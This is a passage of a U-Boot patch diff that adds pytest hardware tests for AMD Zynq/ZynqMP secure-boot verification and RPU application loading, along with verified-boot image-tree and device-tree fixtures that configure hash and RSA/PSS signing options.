+ test_net.test_net_dhcp(u_boot_console)
+ if not test_net.net_set_up:
+ test_net.test_net_setup_static(u_boot_console)
+
+ srcaddr = f.get('srcaddr', None)
+ if not srcaddr:
+ addr = u_boot_utils.find_ram_base(u_boot_console)
+
+ expected_tftp = 'Bytes transferred = '
+ fn = f['fn']
+ output = u_boot_console.run_command('tftpboot %x %s' % (srcaddr, fn))
+ assert expected_tftp in output
+
+ expected_op = 'zynq rsa <baseaddr>'
+ output = u_boot_console.run_command('zynq rsa %x ' % (srcaddr))
+ assert expected_op not in output
+ output = u_boot_console.run_command('echo $?')
+ assert output.endswith('0')
+
+@pytest.mark.buildconfigspec('cmd_zynq_rsa')
+def test_zynq_rsa_image_invalid(u_boot_console):
+ f = u_boot_console.config.env.get('env__zynq_rsa_readable_file', None)
+ if not f:
+ pytest.skip('No TFTP readable file for zynq secure rsa case to read')
+
+ zynq_secure_pre_commands(u_boot_console)
+ test_net.test_net_dhcp(u_boot_console)
+ if not test_net.net_set_up:
+ test_net.test_net_setup_static(u_boot_console)
+
+ srcaddr = f.get('srcaddr', None)
+ if not srcaddr:
+ addr = u_boot_utils.find_ram_base(u_boot_console)
+
+ expected_tftp = 'Bytes transferred = '
+ fninvalid = f['fninvalid']
+ output = u_boot_console.run_command('tftpboot %x %s' % (srcaddr, fninvalid))
+ assert expected_tftp in output
+
+ expected_op = 'zynq rsa <baseaddr>'
+ output = u_boot_console.run_command('zynq rsa %x ' % (srcaddr))
+ assert expected_op in output
+ output = u_boot_console.run_command('echo $?')
+ assert not output.endswith('0')
diff --git a/test/py/tests/test_zynqmp_rpu.py b/test/py/tests/test_zynqmp_rpu.py
new file mode 100644
index 00000000000..479a612b4ec
--- /dev/null
+++ b/test/py/tests/test_zynqmp_rpu.py
@@ -0,0 +1,208 @@
+# SPDX-License-Identifier: GPL-2.0
+# (C) Copyright 2023, Advanced Micro Devices, Inc.
+
+import pytest
+import random
+import string
+import test_net
+
+"""
+Note: This test relies on boardenv_* containing configuration values to define
+RPU applications information for AMD's ZynqMP SoC which contains, application
+names, processors, address where it is built, expected output and the tftp load
+addresses. This test will be automatically skipped without this.
+
+It also relies on dhcp or setup_static net test to support tftp to load
+application on DDR. All the environment parameters are stored sequentially.
+The length of all parameters values should be same. For example, if 2 app_names
+are defined in a list as a value of parameter 'app_name' then the other
+parameters value also should have a list with 2 items.
+It will run RPU cases for all the applications defined in boardenv_*
+configuration file.
+
+Example:
+env__zynqmp_rpu_apps = {
+ 'app_name': ['hello_world_r5_0_ddr.elf', 'hello_world_r5_1_ddr.elf'],
+ 'proc': ['rpu0', 'rpu1'],
+ 'cpu_num': [4, 5],
+ 'addr': [0xA00000, 0xB00000],
+ 'output': ['Successfully ran Hello World application on DDR from RPU0',
+ 'Successfully ran Hello World application on DDR from RPU1'],
+ 'tftp_addr': [0x100000, 0x200000],
+}
+"""
+
+# Get rpu apps params from env
+def get_rpu_apps_env(u_boot_console):
+ rpu_apps = u_boot_console.config.env.get('env__zynqmp_rpu_apps', False)
+ if not rpu_apps:
+ pytest.skip('ZynqMP RPU application info not defined!')
+
+ apps = rpu_apps.get('app_name', None)
+ if not apps:
+ pytest.skip('No RPU application found!')
+
+ procs = rpu_apps.get('proc', None)
+ if not procs:
+ pytest.skip('No RPU application processor provided!')
+
+ cpu_nums = rpu_apps.get('cpu_num', None)
+ if not cpu_nums:
+ pytest.skip('No CPU number for respective processor provided!')
+
+ addrs = rpu_apps.get('addr', None)
+ if not addrs:
+ pytest.skip('No RPU application build address found!')
+
+ outputs = rpu_apps.get('output', None)
+ if not outputs:
+ pytest.skip('Expected output not found!')
+
+ tftp_addrs = rpu_apps.get('tftp_addr', None)
+ if not tftp_addrs:
+ pytest.skip('TFTP address to load application not found!')
+
+ return apps, procs, cpu_nums, addrs, outputs, tftp_addrs
+
+# Check return code
+def ret_code(u_boot_console):
+ return u_boot_console.run_command('echo $?')
+
+# Initialize tcm
+def tcminit(u_boot_console, rpu_mode):
+ output = u_boot_console.run_command('zynqmp tcminit %s' % rpu_mode)
+ assert 'Initializing TCM overwrites TCM content' in output
+ return ret_code(u_boot_console)
+
+# Load application in DDR
+def load_app_ddr(u_boot_console, tftp_addr, app):
+ output = u_boot_console.run_command('tftpboot %x %s' % (tftp_addr, app))
+ assert 'TIMEOUT' not in output
+ assert 'Bytes transferred = ' in output
+
+ # Load elf
+ u_boot_console.run_command('bootelf -p %x' % tftp_addr)
+ assert ret_code(u_boot_console).endswith('0')
+
+# Disable cpus
+def disable_cpus(u_boot_console, cpu_nums):
+ for num in cpu_nums:
+ u_boot_console.run_command(f'cpu {num} disable')
+
+# Load apps on RPU cores
+def rpu_apps_load(u_boot_console, rpu_mode):
+ apps, procs, cpu_nums, addrs, outputs, tftp_addrs = get_rpu_apps_env(
+ u_boot_console)
+ test_net.test_net_dhcp(u_boot_console)
+ if not test_net.net_set_up:
+ test_net.test_net_setup_static(u_boot_console)
+
+ try:
+ assert tcminit(u_boot_console, rpu_mode).endswith('0')
+
+ for i in range(len(apps)):
+ if rpu_mode == 'lockstep' and procs[i] != 'rpu0':
+ continue
+
+ load_app_ddr(u_boot_console, tftp_addrs[i], apps[i])
+ rel_addr = int(addrs[i] + 0x3C)
+
+ # Release cpu at app load address
+ cpu_num = cpu_nums[i]
+ cmd = 'cpu %d release %x %s' % (cpu_num, rel_addr, rpu_mode)
+ output = u_boot_console.run_command(cmd)
+ exp_op = f'Using TCM jump trampoline for address {hex(rel_addr)}'
+ assert exp_op in output
+ assert f'R5 {rpu_mode} mode' in output
+ u_boot_console.wait_for(outputs[i])
+ assert ret_code(u_boot_console).endswith('0')
+ finally:
+ disable_cpus(u_boot_console, cpu_nums)
+
+@pytest.mark.buildconfigspec('cmd_zynqmp')
+def test_zynqmp_rpu_app_load_split(u_boot_console):
+ rpu_apps_load(u_boot_console, 'split')
+
+@pytest.mark.buildconfigspec('cmd_zynqmp')
+def test_zynqmp_rpu_app_load_lockstep(u_boot_console):
+ rpu_apps_load(u_boot_console, 'lockstep')
+
+@pytest.mark.buildconfigspec('cmd_zynqmp')
+def test_zynqmp_rpu_app_load_negative(u_boot_console):
+ apps, procs, cpu_nums, addrs, outputs, tftp_addrs = get_rpu_apps_env(
+ u_boot_console)
+
+ # Invalid commands
+ u_boot_console.run_command('zynqmp tcminit mode')
+ assert ret_code(u_boot_console).endswith('1')
+
+ rand_str = ''.join(random.choices(string.ascii_lowercase, k=4))
+ u_boot_console.run_command('zynqmp tcminit %s' % rand_str)
+ assert ret_code(u_boot_console).endswith('1')
+
+ rand_num = random.randint(2, 100)
+ u_boot_console.run_command('zynqmp tcminit %d' % rand_num)
+ assert ret_code(u_boot_console).endswith('1')
+
+ test_net.test_net_dhcp(u_boot_console)
+ if not test_net.net_set_up:
+ test_net.test_net_setup_static(u_boot_console)
+
+ try:
+ rpu_mode = 'split'
+ assert tcminit(u_boot_console, rpu_mode).endswith('0')
+
+ for i in range(len(apps)):
+ load_app_ddr(u_boot_console, tftp_addrs[i], apps[i])
+
+ # Run in split mode at different load address
+ rel_addr = int(addrs[i]) + random.randint(200, 1000)
+ cpu_num = cpu_nums[i]
+ cmd = 'cpu %d release %x %s' % (cpu_num, rel_addr, rpu_mode)
+ output = u_boot_console.run_command(cmd)
+ exp_op = f'Using TCM jump trampoline for address {hex(rel_addr)}'
+ assert exp_op in output
+ assert f'R5 {rpu_mode} mode' in output
+ assert not outputs[i] in output
+
+ # Invalid rpu mode
+ rand_str = ''.join(random.choices(string.ascii_lowercase, k=4))
+ cmd = 'cpu %d release %x %s' % (cpu_num, rel_addr, rand_str)
+ output = u_boot_console.run_command(cmd)
+ assert exp_op in output
+ assert f'Unsupported mode' in output
+ assert not ret_code(u_boot_console).endswith('0')
+
+ # Switch to lockstep mode, without disabling CPUs
+ rpu_mode = 'lockstep'
+ u_boot_console.run_command('zynqmp tcminit %s' % rpu_mode)
+ assert not ret_code(u_boot_console).endswith('0')
+
+ # Disable cpus
+ disable_cpus(u_boot_console, cpu_nums)
+
+ # Switch to lockstep mode, after disabling CPUs
+ output = u_boot_console.run_command('zynqmp tcminit %s' % rpu_mode)
+ assert 'Initializing TCM overwrites TCM content' in output
+ assert ret_code(u_boot_console).endswith('0')
+
+ # Run lockstep mode for RPU1
+ for i in range(len(apps)):
+ if procs[i] == 'rpu0':
+ continue
+
+ load_app_ddr(u_boot_console, tftp_addrs[i], apps[i])
+ rel_addr = int(addrs[i] + 0x3C)
+ cpu_num = cpu_nums[i]
+ cmd = 'cpu %d release %x %s' % (cpu_num, rel_addr, rpu_mode)
+ output = u_boot_console.run_command(cmd)
+ exp_op = f'Using TCM jump trampoline for address {hex(rel_addr)}'
+ assert exp_op in output
+ assert f'R5 {rpu_mode} mode' in output
+ assert u_boot_console.p.expect([outputs[i]])
+ finally:
+ disable_cpus(u_boot_console, cpu_nums)
+ # This forces the console object to be shutdown, so any subsequent test
+ # will reset the board back into U-Boot.
+ u_boot_console.drain_console()
+ u_boot_console.cleanup_spawn()
diff --git a/test/py/tests/test_zynqmp_secure.py b/test/py/tests/test_zynqmp_secure.py
new file mode 100644
index 00000000000..570bd2439c1
--- /dev/null
+++ b/test/py/tests/test_zynqmp_secure.py
@@ -0,0 +1,104 @@
+# SPDX-License-Identifier: GPL-2.0
+# (C) Copyright 2023, Advanced Micro Devices, Inc.
+
+import pytest
+import re
+import u_boot_utils
+import test_net
+
+"""
+This test verifies different type of secure boot images loaded at the DDR for
+AMD's ZynqMP SoC.
+
+Note: This test relies on boardenv_* containing configuration values to define
+the files to be used for testing. Without this, this test will be automatically
+skipped. It also relies on dhcp or setup_static net test to support tftp to
+load files from a TFTP server.
+
+For example:
+
+# Details regarding the files that may be read from a TFTP server. This
+# variable may be omitted or set to None if zynqmp secure testing is not
+# possible or desired.
+env__zynqmp_secure_readable_file = {
+ 'fn': 'auth_bhdr_ppk1.bin',
+ 'enckupfn': 'auth_bhdr_enc_kup_load.bin',
+ 'addr': 0x1000000,
+ 'keyaddr': 0x100000,
+ 'keyfn': 'aes.txt',
+}
+"""
+
+@pytest.mark.buildconfigspec('cmd_zynqmp')
+def test_zynqmp_secure_boot_image(u_boot_console):
+ """This test verifies secure boot image at the DDR address for
+ authentication only case.
+ """
+
+ f = u_boot_console.config.env.get('env__zynqmp_secure_readable_file', None)
+ if not f:
+ pytest.skip('No TFTP readable file for zynqmp secure cases to read')
+
+ test_net.test_net_dhcp(u_boot_console)
+ if not test_net.net_set_up:
+ test_net.test_net_setup_static(u_boot_console)
+
+ addr = f.get('addr', None)
+ if not addr:
+ addr = u_boot_utils.find_ram_base(u_boot_console)
+
+ expected_tftp = 'Bytes transferred = '
+ fn = f['fn']
+ output = u_boot_console.run_command('tftpboot %x %s' % (addr, fn))
+ assert expected_tftp in output
+
+ output = u_boot_console.run_command('zynqmp secure %x $filesize' % (addr))
+ assert 'Verified image at' in output
+ ver_addr = re.search(r'Verified image at 0x(.+)', output).group(1)
+ output = u_boot_console.run_command('echo $?')
+ assert output.endswith('0')
+ output = u_boot_console.run_command('print zynqmp_verified_img_addr')
+ assert f'zynqmp_verified_img_addr={ver_addr}' in output
+ assert 'Error' not in output
+
+
+@pytest.mark.buildconfigspec('cmd_zynqmp')
+def test_zynqmp_secure_boot_img_kup(u_boot_console):
+ """This test verifies secure boot image at the DDR address for encryption
+ with kup key case.
+ """
+
+ f = u_boot_console.config.env.get('env__zynqmp_secure_readable_file', None)
+ if not f:
+ pytest.skip('No TFTP readable file for zynqmp secure cases to read')
+
+ test_net.test_net_dhcp(u_boot_console)
+ if not test_net.net_set_up:
+ test_net.test_net_setup_static(u_boot_console)
+
+ keyaddr = f.get('keyaddr', None)
+ if not keyaddr:
+ addr = u_boot_utils.find_ram_base(u_boot_console)
+ expected_tftp = 'Bytes transferred = '
+ keyfn = f['keyfn']
+ output = u_boot_console.run_command('tftpboot %x %s' % (keyaddr, keyfn))
+ assert expected_tftp in output
+
+ addr = f.get('addr', None)
+ if not addr:
+ addr = u_boot_utils.find_ram_base(u_boot_console)
+ expected_tftp = 'Bytes transferred = '
+ fn = f['enckupfn']
+ output = u_boot_console.run_command('tftpboot %x %s' % (addr, fn))
+ assert expected_tftp in output
+
+ output = u_boot_console.run_command(
+ 'zynqmp secure %x $filesize %x' % (addr, keyaddr)
+ )
+ assert 'Verified image at' in output
+ ver_addr = re.search(r'Verified image at 0x(.+)', output).group(1)
+ output = u_boot_console.run_command('echo $?')
+ assert output.endswith('0')
+ output = u_boot_console.run_command('print zynqmp_verified_img_addr')
+ assert f'zynqmp_verified_img_addr={ver_addr}' in output
+ assert 'Error' not in output
diff --git a/test/py/tests/vboot/hash-images.its b/test/py/tests/vboot/hash-images.its
new file mode 100644
index 00000000000..3ff797288c2
--- /dev/null
+++ b/test/py/tests/vboot/hash-images.its
@@ -0,0 +1,76 @@
+/dts-v1/;
+
+/ {
+ description = "Chrome OS kernel image with one or more FDT blobs";
+ #address-cells = <1>;
+
+ images {
+ kernel {
+ data = /incbin/("test-kernel.bin");
+ type = "kernel_noload";
+ arch = "sandbox";
+ os = "linux";
+ compression = "none";
+ load = <0x4>;
+ entry = <0x8>;
+ kernel-version = <1>;
+ hash-0 {
+ algo = "crc16-ccitt";
+ };
+ hash-1 {
+ algo = "crc32";
+ };
+ hash-2 {
+ algo = "md5";
+ };
+ hash-3 {
+ algo = "sha1";
+ };
+ hash-4 {
+ algo = "sha256";
+ };
+ hash-5 {
+ algo = "sha384";
+ };
+ hash-6 {
+ algo = "sha512";
+ };
+ };
+ fdt-1 {
+ description = "snow";
+ data = /incbin/("sandbox-kernel.dtb");
+ type = "flat_dt";
+ arch = "sandbox";
+ compression = "none";
+ fdt-version = <1>;
+ hash-0 {
+ algo = "crc16-ccitt";
+ };
+ hash-1 {
+ algo = "crc32";
+ };
+ hash-2 {
+ algo = "md5";
+ };
+ hash-3 {
+ algo = "sha1";
+ };
+ hash-4 {
+ algo = "sha256";
+ };
+ hash-5 {
+ algo = "sha384";
+ };
+ hash-6 {
+ algo = "sha512";
+ };
+ };
+ };
+ configurations {
+ default = "conf-1";
+ conf-1 {
+ kernel = "kernel";
+ fdt = "fdt-1";
+ };
+ };
+};
diff --git a/test/py/tests/vboot/sandbox-binman-pss.dts b/test/py/tests/vboot/sandbox-binman-pss.dts
new file mode 100644
index 00000000000..56e3a42fa6f
--- /dev/null
+++ b/test/py/tests/vboot/sandbox-binman-pss.dts
@@ -0,0 +1,25 @@
+// SPDX-License-Identifier: GPL-2.0+
+
+/dts-v1/;
+
+/ {
+ #address-cells = <1>;
+ #size-cells = <1>;
+
+ binman {
+ filename = "sandbox.img";
+
+ pre-load {
+ content = <&image>;
+ algo-name = "sha256,rsa2048";
+ padding-name = "pss";
+ key-name = "dev.key";
+ header-size = <4096>;
+ version = <1>;
+ };
+
+ image: blob-ext {
+ filename = "test.fit";
+ };
+ };
+};
diff --git a/test/py/tests/vboot/sandbox-binman.dts b/test/py/tests/vboot/sandbox-binman.dts
new file mode 100644
index 00000000000..b24aeba0fa8
--- /dev/null
+++ b/test/py/tests/vboot/sandbox-binman.dts
@@ -0,0 +1,24 @@
+// SPDX-License-Identifier: GPL-2.0+
+
+/dts-v1/;
+
+/ {
+ #address-cells = <1>;
+ #size-cells = <1>;
+
+ binman {
+ filename = "sandbox.img";
+
+ pre-load {
+ content = <&image>;
+ algo-name = "sha256,rsa2048";
+ key-name = "dev.key";
+ header-size = <4096>;
+ version = <1>;
+ };
+
+ image: blob-ext {
+ filename = "test.fit";
+ };
+ };
+};
diff --git a/test/py/tests/vboot/sandbox-kernel.dts b/test/py/tests/vboot/sandbox-kernel.dts
new file mode 100644
index 00000000000..a1e853c9caa
--- /dev/null
+++ b/test/py/tests/vboot/sandbox-kernel.dts
@@ -0,0 +1,7 @@
+/dts-v1/;
+
+/ {
+ model = "Sandbox Verified Boot Test";
+ compatible = "sandbox";
+
+};
diff --git a/test/py/tests/vboot/sandbox-u-boot-global-pss.dts b/test/py/tests/vboot/sandbox-u-boot-global-pss.dts
new file mode 100644
index 00000000000..c59a68221b9
--- /dev/null
+++ b/test/py/tests/vboot/sandbox-u-boot-global-pss.dts
@@ -0,0 +1,28 @@
+// SPDX-License-Identifier: GPL-2.0+
+
+/dts-v1/;
+
+/ {
+ model = "Sandbox Verified Boot Test";
+ compatible = "sandbox";
+
+ binman {
+ };
+
+ reset@0 {
+ compatible = "sandbox,reset";
+ };
+
+ image {
+ pre-load {
+ sig {
+ algo-name = "sha256,rsa2048";
+ padding-name = "pss";
+ signature-size = <256>;
+ mandatory = "yes";
+
+ key-name = "dev";
+ };
+ };
+ };
+};
diff --git a/test/py/tests/vboot/sandbox-u-boot-global.dts b/test/py/tests/vboot/sandbox-u-boot-global.dts
new file mode 100644
index 00000000000..1409f9e1a10
--- /dev/null
+++ b/test/py/tests/vboot/sandbox-u-boot-global.dts
@@ -0,0 +1,27 @@
+// SPDX-License-Identifier: GPL-2.0+
+
+/dts-v1/;
+
+/ {
+ model = "Sandbox Verified Boot Test";
+ compatible = "sandbox";
+
+ binman {
+ };
+
+ reset@0 {
+ compatible = "sandbox,reset";
+ };
+
+ image {
+ pre-load {
+ sig {
+ algo-name = "sha256,rsa2048";
+ signature-size = <256>;
+ mandatory = "yes";
+
+ key-name = "dev";
+ };
+ };
+ };
+};
diff --git a/test/py/tests/vboot/sandbox-u-boot.dts b/test/py/tests/vboot/sandbox-u-boot.dts
new file mode 100644
index 00000000000..5809c62fc1c
--- /dev/null
+++ b/test/py/tests/vboot/sandbox-u-boot.dts
@@ -0,0 +1,13 @@
+/dts-v1/;
+
+/ {
+ model = "Sandbox Verified Boot Test";
+ compatible = "sandbox";
+
+ binman {
+ };
+
+ reset@0 {
+ compatible = "sandbox,reset";
+ };
+};
diff --git a/test/py/tests/vboot/sign-configs-algo-arg.its b/test/py/tests/vboot/sign-configs-algo-arg.its
new file mode 100644
index 00000000000..3a5bb6d0f73
--- /dev/null
+++ b/test/py/tests/vboot/sign-configs-algo-arg.its
@@ -0,0 +1,44 @@
+/dts-v1/;
+
+/ {
+ description = "Chrome OS kernel image with one or more FDT blobs";
+ #address-cells = <1>;
+
+ images {
+ kernel {
+ data = /incbin/("test-kernel.bin");
+ type = "kernel_noload";
+ arch = "sandbox";
+ os = "linux";
+ compression = "none";
+ load = <0x4>;
+ entry = <0x8>;
+ kernel-version = <1>;
+ hash-1 {
+ algo = "sha256";
+ };
+ };
+ fdt-1 {
+ description = "snow";
+ data = /incbin/("sandbox-kernel.dtb");
+ type = "flat_dt";
+ arch = "sandbox";
+ compression = "none";
+ fdt-version = <1>;
+ hash-1 {
+ algo = "sha256";
+ };
+ };
+ };
+ configurations {
+ default = "conf-1";
+ conf-1 {
+ kernel = "kernel";
+ fdt = "fdt-1";
+ signature {
+ key-name-hint = "dev";
+ sign-images = "fdt", "kernel";
+ };
+ };
+ };
+};
diff --git a/test/py/tests/vboot/sign-configs-sha1-pss.its b/test/py/tests/vboot/sign-configs-sha1-pss.its
new file mode 100644
index 00000000000..72a5637e3a1
--- /dev/null
+++ b/test/py/tests/vboot/sign-configs-sha1-pss.its
@@ -0,0 +1,46 @@
+/dts-v1/;
+
+/ {
+ description = "Chrome OS kernel image with one or more FDT blobs";
+ #address-cells = <1>;
+
+ images {
+ kernel {
+ data = /incbin/("test-kernel.bin");
+ type = "kernel_noload";
+ arch = "sandbox";
+ os = "linux";
+ compression = "none";
+ load = <0x4>;
+ entry = <0x8>;
+ kernel-version = <1>;
+ hash-1 {
+ algo = "sha1";
+ };
+ };
+ fdt-1 {
+ description = "snow";
+ data = /incbin/("sandbox-kernel.dtb");
+ type = "flat_dt";
+ arch = "sandbox";
+ compression = "none";
+ fdt-version = <1>;
+ hash-1 {
+ algo = "sha1";
+ };
+ };
+ };
+ configurations {
+ default = "conf-1";
+ conf-1 {
+ kernel = "kernel";
+ fdt = "fdt-1";
+ signature {
+ algo = "sha1,rsa2048";
+ padding = "pss";
+ key-name-hint = "dev";
+ sign-images = "fdt", "kernel";
+ };
+ };
+ };
+};
diff --git a/test/py/tests/vboot/sign-configs-sha1.its b/test/py/tests/vboot/sign-configs-sha1.its
new file mode 100644
index 00000000000..d8bc1fa0919
--- /dev/null
+++ b/test/py/tests/vboot/sign-configs-sha1.its
@@ -0,0 +1,45 @@
+/dts-v1/;
+
+/ {
+ description = "Chrome OS kernel image with one or more FDT blobs";
+ #address-cells = <1>;
+
+ images {
+ kernel {
+ data = /incbin/("test-kernel.bin");
+ type = "kernel_noload";
+ arch = "sandbox";
+ os = "linux";
+ compression = "none";
+ load = <0x4>;
+ entry = <0x8>;
+ kernel-version = <1>;
+ hash-1 {
+ algo = "sha1";
+ };
+ };
+ fdt-1 {
+ description = "snow";
+ data = /incbin/("sandbox-kernel.dtb");
+ type = "flat_dt";
+ arch = "sandbox";
+ compression = "none";
+ fdt-version = <1>;
+ hash-1 {
+ algo = "sha1";
+ };
+ };
+ };
+ configurations {
+ default = "conf-1";
+ conf-1 {
+ kernel = "kernel";
+ fdt = "fdt-1";
+ signature {
+ algo = "sha1,rsa2048";
+ key-name-hint = "dev";
+ sign-images = "fdt", "kernel";
+ };
+ };
+ };
+};
diff --git a/test/py/tests/vboot/sign-configs-sha256-pss-prod.its b/test/py/tests/vboot/sign-configs-sha256-pss-prod.its
new file mode 100644
index 00000000000..aac732e304c
--- /dev/null
+++ b/test/py/tests/vboot/sign-configs-sha256-pss-prod.its
@@ -0,0 +1,46 @@
+/dts-v1/;
+
+/ {
+ description = "Chrome OS kernel image with one or more FDT blobs";
+ #address-cells = <1>;
+
+ images {
+ kernel {
+ data = /incbin/("test-kernel.bin");
+ type = "kernel_noload";
+ arch = "sandbox";
+ os = "linux";
+ compression = "none";
+ load = <0x4>;
+ entry = <0x8>;
+ kernel-version = <1>;
+ hash-1 {
+ algo = "sha256";
+ };
+ };
+ fdt-1 {
+ description = "snow";
+ data = /incbin/("sandbox-kernel.dtb");
+ type = "flat_dt";
+ arch = "sandbox";
+ compression = "none";
+ fdt-version = <1>;
+ hash-1 {
+ algo = "sha256";
+ };
+ };
+ };
+ configurations {
+ default = "conf-1";
+ conf-1 {
+ kernel = "kernel";
+ fdt = "fdt-1";
+ signature {
+ algo = "sha256,rsa2048";
+ padding = "pss";
+ key-name-hint = "prod";
+ sign-images = "fdt", "kernel";
+ };
+ };
+ };
+};
diff --git a/test/py/tests/vboot/sign-configs-sha256-pss.its b/test/py/tests/vboot/sign-configs-sha256-pss.its
new file mode 100644
index 00000000000..7bdcc7e286f
--- /dev/null
+++ b/test/py/tests/vboot/sign-configs-sha256-pss.its
@@ -0,0 +1,46 @@
+/dts-v1/;
+
+/ {
+ description = "Chrome OS kernel image with one or more FDT blobs";
+ #address-cells = <1>;
+
+ images {
+ kernel {
+ data = /incbin/("test-kernel.bin");
+ type = "kernel_noload";
+ arch = "sandbox";
+ os = "linux";
+ compression = "none";
+ load = <0x4>;
+ entry = <0x8>;
+ kernel-version = <1>;
+ hash-1 {
+ algo = "sha256";
+ };
+ };
+ fdt-1 {
+ description = "snow";
+ data = /incbin/("sandbox-kernel.dtb");
+ type = "flat_dt";
+ arch = "sandbox";
+ compression = "none";
+ fdt-version = <1>;
+ hash-1 {
+ algo = "sha256";
+ };
+ };
+ };
+ configurations {
+ default = "conf-1";
+ conf-1 {
+ kernel = "kernel";
+ fdt = "fdt-1";
+ signature {
+ algo = "sha256,rsa2048";
+ padding = "pss";
+ key-name-hint = "dev";
+ sign-images = "fdt", "kernel";
+ };
+ };
+ };
+};
diff --git a/test/py/tests/vboot/sign-configs-sha256.its b/test/py/tests/vboot/sign-configs-sha256.its
new file mode 100644
index 00000000000..f5591aad305
--- /dev/null
+++ b/test/py/tests/vboot/sign-configs-sha256.its
@@ -0,0 +1,45 @@
+/dts-v1/;
+
+/ {
+ description = "Chrome OS kernel image with one or more FDT blobs";
+ #address-cells = <1>;
+
+ images {
+ kernel {
+ data = /incbin/("test-kernel.bin");
+ type = "kernel_noload";
+ arch = "sandbox";
+ os = "linux";
+ compression = "none";
+ load = <0x4>;
+ entry = <0x8>;
+ kernel-version = <1>;
+ hash-1 {
+ algo = "sha256";
+ };
+ };
+ fdt-1 {
+ description = "snow";
+ data = /incbin/("sandbox-kernel.dtb");
+ type = "flat_dt";
+ arch = "sandbox";
+ compression = "none";
+ fdt-version = <1>;
+ hash-1 {
+ algo = "sha256";
+ };
+ };
+ };
+ configurations {
+ default = "conf-1";
+ conf-1 {
+ kernel = "kernel";
+ fdt = "fdt-1";
+ signature {
+ algo = "sha256,rsa2048";
+ key-name-hint = "dev";
+ sign-images = "fdt", "kernel";
+ };
+ };
+ };
+};
diff --git a/test/py/tests/vboot/sign-configs-sha384.its b/test/py/tests/vboot/sign-configs-sha384.its
new file mode 100644
index 00000000000..2869401991e
--- /dev/null
+++ b/test/py/tests/vboot/sign-configs-sha384.its
@@ -0,0 +1,45 @@
+/dts-v1/;
+
+/ {
+ description = "Chrome OS kernel image with one or more FDT blobs";
+ #address-cells = <1>;
+
+ images {
+ kernel {
+ data = /incbin/("test-kernel.bin");
+ type = "kernel_noload";
+ arch = "sandbox";
+ os = "linux";
+ compression = "none";
+ load = <0x4>;
+ entry = <0x8>;
+ kernel-version = <1>;
+ hash-1 {
+ algo = "sha384";
+ };
+ };
+ fdt-1 {
+ description = "snow";
+ data = /incbin/("sandbox-kernel.dtb");
+ type = "flat_dt";
+ arch = "sandbox";
+ compression = "none";
+ fdt-version = <1>;
+ hash-1 {
+ algo = "sha384";
+ };
+ };
+ };
+ configurations {
+ default = "conf-1";
+ conf-1 {
+ kernel = "kernel";
+ fdt = "fdt-1";
+ signature {
+ algo = "sha384,rsa3072";
+ key-name-hint = "dev";
+ sign-images = "fdt", "kernel";
+ };
+ };
+ };
+};
diff --git a/test/py/tests/vboot/sign-images-algo-arg.its b/test/py/tests/vboot/sign-images-algo-arg.its
new file mode 100644
index 00000000000..9144c8b5ad8
--- /dev/null
+++ b/test/py/tests/vboot/sign-images-algo-arg.its
@@ -0,0 +1,40 @@
+/dts-v1/;
+
+/ {
+ description = "Chrome OS kernel image with one or more FDT blobs";
+ #address-cells = <1>;
+
+ images {
+ kernel {
+ data = /incbin/("test-kernel.bin");
+ type = "kernel_noload";
+ arch = "sandbox";
+ os = "linux";
+ compression = "none";
+ load = <0x4>;
+ entry = <0x8>;
+ kernel-version = <1>;
+ signature {
+ key-name-hint = "dev";
+ };
+ };
+ fdt-1 {
+ description = "snow";
+ data = /incbin/("sandbox-kernel.dtb");
+ type = "flat_dt";
+ arch = "sandbox";
+ compression = "none";
+ fdt-version = <1>;
+ signature {
+ key-name-hint = "dev";
+ };
+ };
+ };
+ configurations {
+ default = "conf-1";
+ conf-1 {
+ kernel = "kernel";
+ fdt = "fdt-1";
+ };
+ };
+};
diff --git a/test/py/tests/vboot/sign-images-sha1-pss.its b/test/py/tests/vboot/sign-images-sha1-pss.its
new file mode 100644
index 00000000000..ded7ae4f552
--- /dev/null
+++ b/test/py/tests/vboot/sign-images-sha1-pss.its
@@ -0,0 +1,44 @@
+/dts-v1/;
+
+/ {
+ description = "Chrome OS kernel image with one or more FDT blobs";
+ #address-cells = <1>;
+
+ images {
+ kernel {
+ data = /incbin/("test-kernel.bin");
+ type = "kernel_noload";
+ arch = "sandbox";
+ os = "linux";
+ compression = "none";
+ load = <0x4>;
+ entry = <0x8>;
+ kernel-version = <1>;
+ signature {
+ algo = "sha1,rsa2048";
+ padding = "pss";
+ key-name-hint = "dev";
+ };
+ };
+ fdt-1 {
+ description = "snow";
+ data = /incbin/("sandbox-kernel.dtb");
+ type = "flat_dt";
+ arch = "sandbox";
+ compression = "none";
+ fdt-version = <1>;
+ signature {
+ algo = "sha1,rsa2048";
+ padding = "pss";
+ key-name-hint = "dev";
+ };
+ };
+ };
+ configurations {
+ default = "conf-1";
+ conf-1 {
+ kernel = "kernel";
+ fdt = "fdt-1";
+ };
+ };
+};
diff --git a/test/py/tests/vboot/sign-images-sha1.its b/test/py/tests/vboot/sign-images-sha1.its
new file mode 100644
index 00000000000..18c759e9e65
--- /dev/null
+++ b/test/py/tests/vboot/sign-images-sha1.its
@@ -0,0 +1,42 @@
+/dts-v1/;
+
+/ {
+ description = "Chrome OS kernel image with one or more FDT blobs";
+ #address-cells = <1>;
+
+ images {
+ kernel {
+ data = /incbin/("test-kernel.bin");
+ type = "kernel_noload";
+ arch = "sandbox";
+ os = "linux";
+ compression = "none";
+ load = <0x4>;
+ entry = <0x8>;
+ kernel-version = <1>;
+ signature {
+ algo = "sha1,rsa2048";
+ key-name-hint = "dev";
+ };
+ };
+ fdt-1 {
+ description = "snow";
+ data = /incbin/("sandbox-kernel.dtb");
+ type = "flat_dt";
+ arch = "sandbox";
+ compression = "none";
+ fdt-version = <1>;
+ signature {
+ algo = "sha1,rsa2048";
+ key-name-hint = "dev";
+ };
+ };
+ };
+ configurations {
+ default = "conf-1";
+ conf-1 {
+ kernel = "kernel";
+ fdt = "fdt-1";
+ };
+ };
+};
diff --git a/test/py/tests/vboot/sign-images-sha256-pss.its b/test/py/tests/vboot/sign-images-sha256-pss.its
new file mode 100644
index 00000000000..34850cc6c58
--- /dev/null
+++ b/test/py/tests/vboot/sign-images-sha256-pss.its
@@ -0,0 +1,44 @@
+/dts-v1/;
+
+/ {
+ description = "Chrome OS kernel image with one or more FDT blobs";
+ #address-cells = <1>;
+
+ images {
+ kernel {
+ data = /incbin/("test-kernel.bin");
+ type = "kernel_noload";
+ arch = "sandbox";
+ os = "linux";
+ compression = "none";
+ load = <0x4>;
+ entry = <0x8>;
+ kernel-version = <1>;
+ signature {
+ algo = "sha256,rsa2048";
+ padding = "pss";
